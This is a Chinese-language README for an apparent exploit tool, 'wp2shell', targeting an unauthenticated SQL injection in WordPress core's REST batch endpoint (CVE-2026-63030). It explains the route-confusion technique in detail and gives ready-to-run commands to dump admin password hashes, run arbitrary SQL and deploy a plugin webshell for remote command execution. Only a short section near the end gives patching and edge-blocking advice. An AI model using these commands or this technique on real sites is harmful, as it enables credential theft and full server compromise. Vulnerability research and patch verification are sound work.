针对 WordPress 核心中未经验证的 SQL 注入的概念验证,该漏洞通过 REST 批量路由混淆(CVE-2026-63030)链式利用实现远程代码执行。
该漏洞利用无需任何凭据,除可达的目标外也无需任何配置。它通过单个端点到达注入点:POST /wp-json/batch/v1。
核心发现是未经验证的 SQL 注入——check 可确认漏洞存在,read 可演示任意数据库读取。shell 命令是可选的后渗透利用(恢复管理员凭据 → 上传插件 → 执行命令),用于展示完整影响;它并非漏洞本身。
| 分支 | 受影响 | 修复版本 |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
6.9.0 之前的版本不受此利用链影响。
REST 批量端点(/batch/v1)无需认证,可在一次调用中运行多个子请求,其安全性依赖于每个子请求各自完成校验和权限检查。
serve_batch_request_v1() 构建了两个并行的数组——$matches(每个子请求匹配到的处理器)和 $validation(每个子请求的校验结果)——然后在分发时用相同的偏移量索引这两个数组。某个子请求的路径若无法通过 wp_parse_url() 解析,则只会被追加到 $validation 而不会追加到 $matches,于是两个数组错位,导致某个子请求在另一个子请求的处理器下被分发。这就是路由混淆。
该 PoC 将这一原语嵌套使用了两次:
requests 请求体的 POST /wp/v2/posts 请求在批量处理器自身下被分发。由于它已按 posts 请求通过校验,其 requests 列表永远不会与批量模式进行比对,因此其子请求可以使用 GET——方法白名单被绕过。author_exclude 字符串的 GET /wp/v2/users 请求(users 模式中没有该参数,所以该值会原样通过校验)在 posts 的 get_items() 下被分发。在那里,author_exclude 映射到 WP_Query 的 author__not_in 查询变量,而存在漏洞的构建版本会将其作为字符串直接插入 SQL。最终结果是一个可在认证前触达的基于布尔和基于时间的盲 SQL 注入。借助数据库读取权限可以恢复管理员密码哈希;破解后,管理员访问权限即可通过插件上传获得代码执行能力。
Python 3.8+ 及标准库。无第三方依赖。
在仓库目录中运行:
./wp2shell.py <command> <url> [options]
或者执行 pip install . 以在 PATH 中获得 wp2shell 命令。
通过差分时间延迟确认漏洞可利用性。它不读取任何数据,也不改变任何内容。
./wp2shell.py check http://target
./wp2shell.py read http://target # 服务器指纹
./wp2shell.py read http://target --preset users # 用户登录名和密码哈希
./wp2shell.py read http://target --query "SELECT @@version"
可选的后渗透利用。需要有效的管理员凭据;注入只能恢复密码哈希,因此请在此处提供恢复出的明文密码。
./wp2shell.py shell http://target --user admin --password '<recovered>' --cmd id
./wp2shell.py shell http://target --user admin --password '<recovered>' -i # 交互式 shell
shell 会上传一个插件 Webshell(受随机路径和单次运行令牌保护)并打印其路径。使用完毕后请将其删除。
升级到 WordPress 6.9.5 或 7.0.2。在此之前,请在边缘阻断 /wp-json/batch/v1 以及
rest_route=/batch/v1 查询参数,或通过 rest_pre_dispatch 过滤器要求批量端点进行身份验证。
仅限授权的安全测试使用。请仅针对您拥有或已获得明确书面许可的系统使用本工具。作者对滥用行为不承担任何责任。
| 选项 | 适用命令 | 说明 |
|---|
--rest-route | 全部 | 使用 /?rest_route=/batch/v1(适用于未启用固定链接的网站)。 |
--proxy URL | 全部 | 通过 HTTP 代理路由流量(例如 Burp)。 |
--timeout N | 全部 | 请求超时时间(秒)。 |
--sleep N | check | 用于确认注入的延迟时间。 |
--preset | read | fingerprint 或 users。 |
--query | read | 要读取的标量 SQL 表达式。 |
--prefix | read | 数据库表前缀(默认 wp_)。 |
--max-length N | read | 每个值最多读取的字符数(默认 128)。 |
--user / --password | shell | 管理员凭据(明文,由哈希恢复而来)。 |
--cmd | shell | 要执行的命令(使用 -i 时省略)。 |
-i / --interactive | shell | 部署后打开交互式 shell。 |